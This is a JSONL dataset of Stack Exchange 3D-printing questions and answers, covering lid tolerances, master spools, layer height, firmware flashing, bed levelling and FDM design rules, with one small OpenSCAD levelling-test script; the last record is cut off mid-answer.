{"id": "hf_96f66ce5f81b", "question": "<p>Let's say I'm modeling a simple box with a lid. Just as an example, we'll say the <strong>outer</strong> edge along the top of the box is 50 mm x 50 mm. With 3D modeling software, it's easy to build a lid for this box to surround the top with an <strong>inner</strong> edge size of also exactly 50 mm x 50 mm ...but this seems like a bad idea. Surely I'll want some kind of of gap, to ensure an easy on/off. An <em>exact</em> fit seems like it's asking for trouble.</p>\n<ul>\n<li>How much gap do we leave for this kind of thing?</li>\n<li>Is it related to nozzle size?</li>\n<li>I suppose it also matters how tightly you want to fit, though I expect in cases where a tight fit matters some kind of snap or clip would be used.</li>\n<li>Are draft prints with larger layer sizes useful for figuring this, or do the rough layers make things seem tighter than they'll be in a final print?</li>\n</ul>\n", "question_body": "", "answer": "Short version:\nbasically, this depends on your printer, make, model, type, state of maintenance, extruder, slicer settings, belt tension, play, friction, etc.\nLong version:\nBasically your printer determines how accurate it prints; you can influence the accuracy a little by calibrating and fine tuning the printer. What regularly is done is to print\ncalibration cubes\nof fixed size. Before you do that, you should read \"\nHow do I calibrate the extruder of my printer?\n\"; this explains to calibrate the extruder. With a fine tuned extruder you could print those XYZ calibration cubes, or in your case create a box of e.g. 50 x 50 x 15 mm. When you measure the length and the width with a caliper, you will know how much the tolerances are for this print size. Eventually, you could change this by re-adjusting the steps per mm in the firmware of the printer, but this is not always a recommendation (as your steps per mm should be related to the mechanical layout of the used mechanism, e.g. the belt size and pitch in combination with the pulley and the stepper resolution).\nPlease also look into the answer of \"\nHow to make moving parts not stick together?\n\"; this answer hints to printing a tolerance calibration model that uses diabolic shapes set apart from the outer object by several values for the offset between the pieces. When you print this you can find out what sort of tolerance works for you. Please do note that the tolerances on smaller parts may be different than the tolerances on larger parts.\nThe answer on your question thus depends on your 3D printing machine, but usually the tolerance values range in the few tenths of a millimeter. To enable a lid on top of a box like in your example, you need to keep the tolerance in mind when designing the lid. Usually an extra few tenths of a millimeter will do the trick, but if you make some test prints first you will know exactly.\nTo answer the question what the influence is of layer height on tolerance, I\nquote\n:\nLoad a 25 mm cube into your slicer and set the infill to 0%,\nperimeters to 1, and top solid layers to 0. You’ll also want to print\nit at a fine resolution – I chose 0.15 mm and it actualy did make a\nsmall (0.02 mm) difference in the wall thickness as opposed to 0.3 mm.\nSo yes the layer height has an effect, it is very little though.\nAn interesting read is \"\nA Guide to Understanding the Tolerances of Your 3D Printer\n\" from \"\nmatterhackers\n\".\nFurthermore, when you have calibrated the printer but still run into small deviations, is that most slicers will allow you to compensate for X and Y dimensions.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.873653"}
{"id": "hf_65f4d7141214", "question": "<p>Recently, I have heard people talking about masterspool, when talking about 3D printing filament.</p>\n\n<ul>\n<li>What <em>exactly</em> is master spool?</li>\n<li>Where did the idea come from and when?</li>\n<li>Is it being widely adopted? Or to be specific, how many distributors/manufacturers have adopted this already, and is it gaining traction?</li>\n<li><strike>Is this something that I should get excited by?</strike></li>\n<li><strike>If so, why is it such a good idea?</strike></li>\n</ul>\n", "question_body": "", "answer": "A masterspool is the practice of printing your own spool out of filament, which will then be used to support your filament you purchase without a spool attached. The main idea is to create a reusable spool and create less waste.\n(\nNOTE: I'm in no way affiliated with MatterHackers.com, nor am I an endorser of their products.\nThere is also a version which\nVillage Plastics\nhas created.)\nOn\nMatterHackers.com\nwebsite, they state:\nFilament without a spool? Why are we making this? The short answer: because the community wants it. We had enough questions, comments and plenty of tweets asking if we had plans to pick up the Master Spool concept. Seeing the response and interest within the community made it clear to us: we needed to bring this idea to the States. With a joint effort between MatterHackers and Village Plastics, you can now purchase Master Spool refills from within the US.\nThey are tying to apply the\nReduce, Reuse, Recycle\nmantra to create a cleaner environment for the rest of the world. While they are not the first to create or use a printable spool, they are pretty happy to be pressing forward with the idea of having a reusable spool and selling filament without a spool attached.\nMatterHackers go on to state:\nWhat are the benefits of the Master Spool? Not only is there the  benefit of reducing plastic waste, using a Master Spool will also reduces shipping costs for new spools, and limits the clutter from amassing of a huge collection of used or empty spools. Rather than throwing away, trying to recycle dozens of spools, or trying to come up with a way to reuse them in some (like the Spool Tool), using the Master Spool means you can use all those filament scraps you have laying around on something useful and have one spool for all of your filament.\nAs far as where it started, it appears to have originated with\nthis print on Thiniverse\ncreated by\nDingoboy71\n. A well known 3D printer named\nRichRap\ncreated the reusable spool which MatterHacker promotes, though they say there are several which will work with their product (Village Plastic says pretty much the same).\nIf you get excited about saving the planet, then you should be excited about this. If you are a robust printer, going through tons (hopefully not literally) of filament per year, this method will save a lot of waste in the long run.\nRealize there are (as of this writ) only limited suppliers of spool-less filament, though I think the trend for this type of product will increase in the future as the idea catches on. I guess time will tell.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.898734"}
{"id": "hf_a5a3f7d47944", "question": "<p>Let's say you're printing a container or some other object with no infill. What's a good rule of thumb for how thick to make the outside? I'm looking for something along the lines of millimeters thick per square inch of area.</p>\n\n<p>I'm thinking about PLA right now, but answers for ABS and other materials are welcome, too.</p>\n", "question_body": "", "answer": "I make small objects (25mm^2) with 1 to 1.5 mm walls and larger objects (think coffee cups)  with about 2.5 - 3 mm walls.  I set the line width and number of perimeters to completely fill the thickness. \nI use this for ABS and PLA.\nThe PLA objects have been electronics enclosures,  with internal structures to support the parts.   They aren't subjected to strong forces.   I've made small containers for stain gauges with the amplifiers,  and larger ones for greater sequences and Arduino boxes. \nI've used ABS also for coffee mugs and beverage glasses,  to withstand the mass and temperature of drinks. \nIt can take some fussing to worry the Slic3r slicing parameters into place.  Especially with mugs the design is for function and appearance,  not for effect.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.922966"}
{"id": "hf_e155c5c6d5ca", "question": "<p>I have a printer with a 0.1 mm typical layer thickness. Of course I can choose some different sizes in Cura or other slicing software, but most prints on this machine will be .1mm. In my (admittedly limited) experience thus far, the 0.1 mm seems typical for other printers, too.</p>\n\n<p>I want to get a sense of just how thick this is. I know about the paper trick for leveling the print bed, but my understanding is the first layer pushes into the bed a little, meaning it's less than 0.1 mm and so paper isn't a good example for the typical layer. </p>\n\n<p>Is there a similar item with close to 0.1 mm thickness I can use to visualize this?</p>\n", "question_body": "", "answer": "Sure. Get a 0.1mm thick feeler gauge.\nhttp://duckduckgo.com/?q=feeler+gauge+.1mm", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.945735"}
{"id": "hf_0038f484de86", "question": "<p>I've just bought <strong>Anycubic i3 Mega</strong> printer and trying to level it.\nSo far I've printed test object and 2 others but looks like there are problems with leveling.</p>\n\n<p>I want to make image of 5 small one layer squares(one in each corner and one in center). Looking for recommendations of <strong>simple</strong> software/tutorials/approaches to do it. I tried zbrush but found that it kind of complicated.</p>\n", "question_body": "", "answer": "You are probably looking for something like\nthis\n:\nNote this is for large beds (300 x 300 mm), so you would have to X, Y scale this in your slicer.\nThis is a simple part that is very easily generated with\nOpenSCAD\n3D design software (very good modeller if you are familiar with software coding), but could easily been designed in any\nother tool\n.\nAnother leveling and centering print that is created with OpenSCAD is\nthis\n, and could be a start for you to create your own design:\nNote that the file with the design is located in the \"files\" section.\nEdit\n:\nSome code for OpenSCAD made within 5 minutes (I don't type fast so it could have been faster if I did not use the constants, but if you go OpenSCAD, making parametric designs is almost a must ;) ):\n```\n```\n// Set constants as you like\nwidth = 30;\ndepth = 30;\nlayer_height = 0.2;\nfirst_layer_height = 0.2;\nnr_of_layers = 2;\nbox_size = 180;\n\n// Calculated parameters\nheight = first_layer_height + (nr_of_layers - 1) * layer_height;\n\n// Draw the test object\ntranslate([-width/2, -depth/2,0]){\n  // Draw the center square\n  cube(size = [width, depth, height], center = false);\n  // Draw the corner squares\n  for (x=[-1:2:1]){\n    for (y=[-1:2:1]){\n      translate([x * (box_size-width)/2, y * (box_size-depth)/2, 0])\n        cube(size = [width, depth, height], center = false);\n    } \n  } \n}\n```\n```\nRendered figure:", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 1.0, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:58.979930"}
{"id": "hf_994259da4a53", "question": "<p>I came across this suggestion on the klipper github, <a href=\"https://www.facebook.com/groups/Hypercube.Evo/permalink/192106034761003/\" rel=\"nofollow noreferrer\">https://www.facebook.com/groups/Hypercube.Evo/permalink/192106034761003/</a>. In order to reduce the stretching in the bowden tube you can add fiberglass packaging tape lengthwise along the tube. This would decrease the elasticity while still allowing the plastic filament to run through it. Allowing you to reduce the retraction length and have better control over the amount of plastic being extruded.</p>\n\n<p>Is there any reasons that this would not work or actually decrease the performance of the bowden tube? </p>\n", "question_body": "", "answer": "The question seems to be built on a false premise, namely that the major extrude/retract errors in a Bowden design come from tube stretch. The PTFE tube is\nnot\nsignificantly elastic, actually it is reasonably stiff so there is minimal scope for improvement here.\nA longer tube\nwill\ncontribute to degraded precision, but slack in the filament/tube gap is roughly as significant as stretch (and filament compression). Constraining the tube path may help marginally (but there is no need to 'bond' the tube). There is not much you can to to reduce the gap between filament and tube, but this will dominate the error for a long tube.\nThe most obvious weak point is the clip used to secure the tube at each end. I saw a review of a recent Prusa design where high quality clips were called out as making a big improvement to securing each end of the tube.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.019966"}
{"id": "hf_e2dd28cfe4b7", "question": "<p>I just received my new Creality Ender 3. I was going through and checking/adjusting everything for alignment, and I noticed that when you &quot;auto home&quot; the print head, the nozzle stops off the front of the print bed by 5-10 mm.</p>\n<p>Is that normal?</p>\n<p>Is it perhaps by design to allow purging the nozzle without dumping on the bed?</p>\n<p>It doesn't appear that there is any way to adjust the Y stop switch without making modifications to it. It also didn't look like there was any easy way to move the bed either.</p>\n", "question_body": "", "answer": "Yes, this is the \"intended\" behavior, as the home in relation to the physical limit position is not placed correctly about 7.5 mm into the bed in both X and Y.\nto correct this, please look at the\nRecalibrating Home-position\nfor the Ender3", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.055086"}
{"id": "hf_a2d6ecc0cf17", "question": "<p>Cura has a layer view feature that lets you watch a simulation of the extruder head as it lays down material at each layer. Is it possible to get Cura to show a time stamp as it does this? That would let me set reminders to check a print just at certain critical times.</p>\n", "question_body": "", "answer": "These estimates tend to be very approximate, even if Cura has the accurate acceleration values for your firmware. An error of 100% is not unusual.\nWhat you probably want is an alarm at a specific layer (a few before the critical ones). You might be able to add this to Octoprint fairly easily - it does support plugins which can provide (for example) pushbullet notifications.\nI'm not sure that 'critical' points are much more likely to fail than other less predictable things (like bed adheesion failure, extruder jams, filament breaks) - unless you're testing features (and then hopefully you can print only a slice of the part).", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.088140"}
{"id": "hf_dfdfc94a779b", "question": "<p>Creality does offer its firmware on <a href=\"https://www.creality3d.cn/download/firmware_c0001\" rel=\"noreferrer\">creality3d.cn</a> as .hex files. These are pretty good as backups as one can't alter and destroy them by accident.</p>\n\n<p>But... How do you install them?!</p>\n\n<hr>\n\n<p>This is about installing firmware <em>directly</em> and <em>without</em> another microcontroller. To use another mictrocontroller is <a href=\"https://3dprinting.stackexchange.com/questions/6685\">How to install new firmware via a Microcontroller?</a></p>\n", "question_body": "", "answer": "Creality also does provide an installation PDF. The process they propose is twofold and might need different settings on other machines\n1\n. Spots where I assume you might need to adjust are noted with\nA\n. Note that\nthis solution depends on CURA\n.\n1. Install the printer as a periphery machine.\nThis part is specific for Windows. If you use Linux or a MAC, you will need to use a different setup, but you might get the same results.\nTurn on the power on the printer and connect it from the MircoUSB to a USB of the computer. This should automatically install the driver. If not, the Driver is on the SD card provided with the Printer\n2\n.\nTo manually install\n```\nwindows Key\n```\n+ \"\n```\nMANAGER\n```\n\" and choose\nDevice manager\n. Find the serial port that shows yellow, Right-click, choose\n```\nUpdate driver software > Browse my computer for driver software\n```\n. Now\n```\nBrowse\n```\n, find the location of USB driver on the SD card and click\n```\nNext\n```\n.\nGenerally,the serial port(COM) you need update has the biggest number, but can change.\nA good idea is to confirm the correct port with a software like\nRepetier Host\n, with which you can control the printer directly -  if it works, you got the drivers and the port correct. Also, you know the correct Baudrate.\nAfter the driver installation, launch\nCURA\nto do some settings. In\n```\nFile > Preferences\n```\n:\nPrint Window is \"Pronterface UI\"\nA\nSwitch to\n```\nMachine > Machine Settings\n```\n:\nSerial Port: choose the one that just was updated\nBaudrate: 115200\nA\n2. Upload the .hex file via cura\n```\nMachine > Install custom Firmware\n```\nMake sure the printer is connected, then\n```\nOK\n```\nfind the .hex file on your PC, then confirm.\nWait for the process to finish.\n1 - most likely, you will have to change the baudrate\n2 - This might not be true for all manufacturers, but is for creality. Other manufacturers might have different sources for these.\nA - Adjust as needed!", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.111449"}
{"id": "hf_b8e6892dd9b6", "question": "<p>Up till now, I've tended to scale my first layer according to the print quality, so a 0.12&nbsp;mm first layer for a 0.08&nbsp;mm print, and 0.28&nbsp;mm for a 0.2&nbsp;mm print.</p>\n\n<p>After changing to a PLA which isn't sticking well, I'm wondering if the first layer is best determined by the printer/tolerance/material, rather than the overall print quality settings. Am I going to get more predictable results if I stick to a 0.12&nbsp;mm first layer regardless? This is with a 0.4&nbsp;mm nozzle on an Anet-A8.</p>\n", "question_body": "", "answer": "Default settings for first layer height in Slic3r Prusa Edition print profiles regardless layer height is 0.2 mm.\nIf you need to improve bed adhesion then try tips from this video\n3D Prints not sticking anymore? Watch this! 3DP101\nby Maker's Muse. It's about using glue stick and spreading it using paper towel and isopropyl alcohol.\nThere are other possibilities how to improve bed adhesion, e.g.\nUltem sheet\nor other printing surface like\nBuildTak\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.141635"}
{"id": "hf_a4c5a0950c56", "question": "<p>Has anyone tried the steel-reinforced polyurethane timing belts? If so, how do they compare to the rubber ones?</p>\n", "question_body": "", "answer": "I do not believe the standard rubber/plastic belts have any significant stretching over time, nor do they stretch under drive motor force during acceleration (and in any case, extrusion takes place mostly under steady-velocity conditions).\nWhile I suppose it's possible a steel-reinforced belt might have a longer lifetime, replacing a belt is quick and cheap, so why bother?\n[incorporating comments]\nMy suspicion is that standard belts, e.g., as supplied with Prusa-clone kits will outlive us mere mortals. They can move an entire print bed+heater, so a larger print head is not an issue.\nThe usual problem with any belt material is ensuring there's no significant slack (which leads to backlash/hysteresis), and changing the material won't help or hurt tensioning control systems.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.201809"}
{"id": "hf_d6ef1ef3d9f7", "question": "<p>I have an Ender 3 which I primarily use for printing with PLA. I haven't branched out to other materials yet. :)</p>\n\n<p>I've done <a href=\"https://3dprinthq.com/desktop-3d-printer-safety/\" rel=\"noreferrer\">some research into PLA fumes and airborne particulates</a> which seemed to mention that PLA is mostly safe, but ABS is rather dangerous to print without proper ventilation. However, I understand that there isn't much research on the topic and that there haven't been many studies.</p>\n\n<p>I have been keeping my printer in my bedroom, far isolated from flammable materials, which I sometimes leave on to print while I'm asleep. Should I be concerned with my health safety with respect to airborne particulates emitted by printing with PLA?</p>\n\n<p><strong>Other questions ask about ABS, but here, I'm asking specifically about PLA.</strong></p>\n", "question_body": "", "answer": "Fire is the most obvious risk - firmware can now detect some of the more obvious failure modes such as a detached thermistor, but loose or failing connections can still overheat. A smoke alarm is a fairly obvious (but not necessarily effective) protective measure.\nThe risk from particulates in particular is\nprobably\nlow, but marginal health risks like this are extremely hard to analyse, and will likely take many years to manifest. The closest analogue would be to look at commercial plastics workers since they are exposed to both heated plastic, and any potential dust generated.\nYou could also compare the risk to other 'hobby' activities such as soldering, painting, woodworking.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.235924"}
{"id": "hf_2798dabf9eea", "question": "<p>I've seen many references to a FDM print being weakest in the Z axis, due to poor bonding between layers compared to the extruded walls. </p>\n\n<p>Thinking about optimising this for a specific material (excluding temperature and geometry), is there an optimum layer height? It seems obvious that too thick a layer will give less compression and maybe less heat transfer into the layer below (so 0.3 with a 0.4mm nozzle might be expected to be a bit weak). Is there a single break point (i.e. less than half the nozzle is good), or are super fine layers either good or bad?</p>\n\n<p>I'm specifically using PLA at the moment, in case different materials have different behaviour in this respect.</p>\n\n<p>I am <strong>not</strong> asking how to model the strength of layer bonds or how to take that into account when designing a part.</p>\n", "question_body": "", "answer": "My3dmatter.com performed a\nseries of tests\nwith PLA, using \"a universal testing machine\". They conclude:\nLayer height influences the strength of a printed part when it becomes\n  thin. A printed part at 0.1mm shows a max stress of only 29MPa, as\n  opposed to 35MPa for 0.2mm (21% increase).\nPast 0.2mm, the max stress remains fairly constant around 36 MPa (we\n  confirmed this conclusion with an extra test at 0.4mm, not shown here\n  because it was not part of the same batch).\nNote: It is recommended to read the full article to comprehend the complexity of the subject matter.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.258563"}
{"id": "hf_1e8cfe1cffbe", "question": "<p>What are the 'headline' basic design rules for FDM?  </p>\n\n<p>Which topics for design principles do you recommend to someone who has purchased an FDM machine and wants to understand what is practical?  In other words, where is the place to start when you don't yet know what questions to ask?</p>\n\n<p><a href=\"https://3dprinting.stackexchange.com/questions/5215/3d-printing-references-for-beginner\">This question</a> and its answer discuss design tools and the workflow but doesn't cover design rules.</p>\n\n<p>Design rules here meaning the principles of what is <strong>special</strong> about <strong>planning</strong> a design to be manufactured with an FDM process as opposed to traditional machining or a printing process like SLA, not the detailed/automated checks that would be applied to something like a PCB layout prior to sign-off.</p>\n", "question_body": "", "answer": "Designing a part for 3D printing often doesn't seem to have many special considerations, but I have learned the hard way, that there are some things to do differently. This is just a list of things to that one should keep in mind\nin addition to basic principles of design\n1\nwhen designing parts, keeping the subsequently slicing the parts in mind too:\nPrint orientation\nThere are many ways how you could orient your print, but usually, there is one orientation, that has the least need for support. Look at your part critically and keep this orientation in mind when designing. Especially look at overhangs and bridging, and if you can get away without.\nOverhangs\nThere are 3 sorts of overhangs:\nSmall overhangs ones that are neglectable.\nLong overhangs which can get support.\nOverhangs that can't be supported.\nWhen designing parts, you want to make sure you only have type 1 and 2 Overhangs, as type 3 overhangs will sag and fail. Think carefully if you can rotate the piece to get a print orientation that does not need an overhang that can't be supported by an automatically generated support structure. If that is impossible, try to implement a sacrificial piece that can turn the overhang into a bridge.\nSmaller overhangs can be made neglectable by adding a phase to the underside. This phase's angle is depending on the printer. In my experience, 70° is something many printers can manage, but I prefer 45° due to the ease of making them. A fuller\ncan\nwork to give a small overhang the needed support, but often has problems for larger overhangs!\nBridges\nOverhangs turn into bridges if they are connected on both sides. These either have a limited length, depending on the printer you use or need a support in the center. Check if you really\nneed\na bridge or if you can rotate the piece to get away without.\nAvoid vertical holes in bridges\nIt might be something that might surprise but a vertical hole or slot in a bridging part is something that often fails as the bridging strings just sag as they are terminated mid-air without a support structure and finally fall, ruining the bridge. Yet such a support structure sometimes could not be removed in all cases, so something needs to be done differently.\nOne such a solution is to add a 1-layer sacrificial layer on the bottom of the hole: printing a solid layer by bridging is possible, and the subsequent hole/slot can still be free. It has to be cut free after printing in post-processing though.\nround holes in Walls\nRound holes in standing walls can become problematic to print once the diameter gets too large. A trick to keep the upper parts of the hole to sag into the cavity, making it undersized or needing to drill it to size later. To prevent this, the upper side of the hole can be adjusted: instead of a round upper rim, turn the hole into a teardrop. This reduces the overhanging area. Keeping a 60° top angle on the hole should be fine.\nIf the hole is used to key an item to an axle, put the keyway to the top of the print orientation, so it takes the place of the teardrop-tip.\nSome more about holes one can learn from\nMakers Muse (Angus Daveson)\nReduce internal structure\nI have seen prints fail for strange reasons. One of them was a piece taken from a straight up industrial design plan, then scaled down. This one resulted in\ntoo much\ntiny internal geometry, resulting in a lot of material and time wasted on printing these internal pieces that nobody could reach, that were fused together for the original gaps were already 0.2mm and less and besides that, there was the occasional print failure.\nRemoving any non-essential internal geometry lessens not only the printer's load, but speeds up the print, lessens the material waste and can prevent failures due to clogs or other unexpected behavior. If you can't fix it in design,\nthere are workarounds\n, but try to need to avoid them!\nAvoid Intersecting Shells\nAs we are at it, often game and graphic designers are lazy and use intersecting shells. These can become quite messy in the slicing step. If possible, try to avoid intersecting shells, even as modern slicers have learned to fix this by themselves by now. The results of that are not always pretty if you forget to flag the \"Union intersecting shells\" option in your slicer.\nSizing\nWe might not always be aware of it, but prints do\nshrink\nin the XY axis and to a different degree in the Z axis as they cool, during and after the print is done. This is what causes warping in the first place and lead to many lost prints (especially on non-heated beds). This behavior has to be taken into consideration especially when designing bores. My suggestion for this is twofold:\nIntentionally design the hole to be too small and add extra wall material in slicing, then drill it up to the right diameter. Drill slowly to not melt the plastic.\nLearn your shrinking parameter for the material and design with that shrinkage in mind, possibly iterating the print a few times. Note that different spools/colors of the same material might have different shrinking!\nMinimum Wall Thickness\nWithout Arachne, a 3D-printer can not reliably print walls that are thinner than the extrusion width of a printer. The choice of the correct nozzle for an extrusion width is\na question upon itself.\n. Even with Arachne slicing and variable line width, printing a wall thinner than a nozzle diameter is nigh impossible.\nTapping/Screwing/Inserts\nFor tapping prints directly, you need wall thickness - according to the norms - you'll need usually about 0.2mm diameter that can be tapped into for smaller standard-size threads. Using 3 perimeters with a 0.45 mm extrusion width will give walls of 1.2 mm, which I consider a rather strong wall, and provides quite some tolerance to drill up to size and then tapping screws into. You will get away with 2 perimeters for smaller thread sizes (M3 and lower), but for large ones (M10+), you will want a fourth or even fifth perimeter.\nRemember though, that the\nprinted PLA is not good for very strong threading\n:\nTapping print\ns directly is pretty much only for\nlow- and non-load-bearing connections\n. If you combine several pieces with screws, try to design the parts to make some sort of compression fit using a bolt and nut, or use several, small diameter screws with a fine thread. Avoid coarse thread if you can, stay on the small side.\nIf you need a\nload bearing connection\nwith screws, the best strength comes from using a\nmetal insert\nor provide a\nspace for a nut to fit into\n. Metal inserts are usually placed by heat-setting them: put the heat-set insert onto a soldering iron tip and push it into the slightly under-sized hole, melting and molding the print to fit the insert, providing strong threads that are held really good in the shell of remolded plastic.\nAs a compromise, modern slicers allow to use modifier meshes, that could be used to increase the strength of modeled threads or holes that need to be tapped.\nDo you want to know more?\nCNC Kitchen (Stefan)\nhad made some tests on the strength of these connection type.\nPrint strength\nKeep these general rules in mind when designing load-bearing parts:\nGenerally speaking, FDM prints are strongest in carrying along their\nZ-axis\nwhen withstanding\ncompressive forces\n, as then the print layers of the shell are forced against each other. It also excels at fighting\nbending\nforces this way. But this orientation is also giving us the\nlowest tensile strength\n, as each layer boundary is a possible breaking point.\nThe\nXY-plane\nusually\nexcels in tensile strength\nbut sacrifices some of its ability to withstand compression (it is\nnot\nproportional though).\nPrinting a part at a\n45° angle\nwill give often a\ngreat compromise of strengths\n, but might need an additional surface to get a good first layer - this surface can be sacrificial with the use of support.\nFor deeper information on the strength of parts and materials in comparison and how to manipulate it, there are large playlists of tests made by\nCNC Kitchen (Stefan)\nand\nThomas Sanladerer (Tom)\nPost processing\nPost processing can be your best friend when printing, just as it can be your worst nightmare. I won't detail all methods of postprocessing, but some that are quite applicable.\nAssembly/Gluing\nRemember to design your parts with gaps for the glue when designing parts for assembly, and you might want to include guidance notches/cones or other\nalignment features\nto make sure the assembly aligns. This is especially needed as the parts shrink a little and have a rough surface.\nIf you need to assemble your part due to the available print volume, be especially sure to include ways to key the parts together. Pegs or outcroppings/indents (often called\nkeys\n) that match up to one another make alignment on assembly much easier too, and are a different type of alignment feature. It can be a good idea to design yourself a \"cookie cutter\" file that is applied after designing the part that automatically includes the glue gaps and keys.\nThere are a lot of glues and other methods to merge the parts. A more in-depth look at some of them is\nWhat glues for bonding printed PLA to injection-molded plastic?\nbut you will have to keep in mind how you want to combine your pieces in the design step - and account for it.\nPrint in Place/PIP\nIn this vein, learn the\ntolerances your printer\ncan manage to allow print-in-place(PIP), allowing functional parts that require no assembly. PIP is something that isn't possible with subtractive manufacturing usually, but remember that in 3D printing you might need to\nbreak\nthe parts free after printing from bridges or sagging. Usually, a single strong turn suffices. To be able to do this, you might want to include a position for an Allen-key to manually turn the parts.\nTo learn how fine your tolerances are, there are many\ntolerance gauges/tests\naround. A\nrule of thumb\nfor many printers is, that 1 nozzle width is often easily achievable with a good setup, 0.5 nozzles are achievable with some effort and 0.25 is somewhere close to the 'holy grail' - you might want to change the nozzle to a smaller one in case you want to have very thin gaps.\nComposite construction\nThere are ways to turn your (mostly) hollow prints into much stiffer versions of themselves by turning them into composites, for example by using a resin or a different hardening fluid (like foam or plaster) as a filler or coating material.\nWhen planning to do so, remember to include inlets/outlets for it and the air. It can be a good idea to design the part in such a way that it just contains the walls and a pre-planned support structure. In doing so, remember to disable infill in the slicer to enforce the flow you want in your structure. Look at how the ribs inside of an airframe are designed for general rules on hollow parts: include holes. This allows the flow of your fluid into each and every corner instead of blocking the flow. This can also reduce the needed number of inlets and outlets from one per\nchamber\nto one per\npart\n.\nPlastic Properties\nRemember we work with thermoplastics. Learn what kind of postprocessing your thermoplastic allows and its mechanical properties. Some examples:\nAPS can be vapor smoothed with acetone.\nMany plastics can be annealed by baking at or little above their glass transition temperature, increasing strength and layer-to-layer bonding.\nWhen using power tools on plastic, use ample cooling and time, as otherwise, one quickly melts the prints!\nSurface Finish\nThe surface of FDM prints is somewhat rough. To smooth it out there are 2 general ways: fill it up or smooth it down. If you want to fill it up, design the part\nundersized\n, if you smooth it down, add\nsacrificial thickness\n. It is common to combine both, adding body filler first, then sanding down till the print material shows through again. If doing this, make sure to check your sizing.\nIf there comes a lacquer layer atop, remember to account for that thickness: undersize surfaces, oversize holes!\n1 - this means, that thoughts about postprocessing that are not unique to 3D printing are not elaborated on here. Examples are painting, coating or smoothing the surface mechanically.\nFurther reading/viewing\nFurther information can be gotten from these playlists, though they aim at times for newbies:\nCNC Kitchen (Stefan):\n3D Printing for Engineers Playlist\nCNC Kitchen (Stefan):\n3D Printing Tips\nMaker's Muse (Angus):\n3D Printint 101\nMaker's Muse (Angus):\nAdvanced 3D Printing Tips\nMaker's Muse (Angus):\nCAD for Newbies\nMaker's Muse (Angus):\nCAD for 3D Printing", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:20:59.293502"}
{"id": "hf_2d051b6842d4", "question": "<p>I get the concept of automatic bed leveling...the printer moves around the bed and uses a sensor to identify high and low spots, then \"software compensates for differences\". </p>\n\n<p>But what exactly does \"compensates\" mean? </p>\n\n<p>It is extruding more material in the low spots to build them up and thinning out the high spots? Is it adding or removing layers? Is it shifting layers as it goes up to compensate tilt? Or...? </p>\n\n<p>In what ways will this affect the final outcome? Would it be valid to say that if you wanted an automatically leveled bed and dimensional accuracy you should always print to a raft?</p>\n", "question_body": "", "answer": "Last first:  use of a raft has nothing to do with bed levelling. It depends only on the features/shape/etc of the object being printed.\nNow, as to what the auto-levelling does: the answer is, sadly \"it depends.\"  A simple algorithm will just find the Z-height of the four corners and apply a bilinear correction to Z as a function of {x,y} coordinates.  A really good algorithm would map the entire build plate to some designated precision (perhaps 5 mm) and create a 2-dimensional lookup table to adjust Z over a curved build plate.     What your printer's levelling software does is more likely the former.\nWhy? because if you try to correct over curves & bumps, then you will end up distorting your entire printed object (basically forcing every layer to follow those distorted axes).  Far better to have some flattened or \"fat\" spots in the first layer printed, and then print proper planar layers after that.\nExample: I know my bed (AnetA8 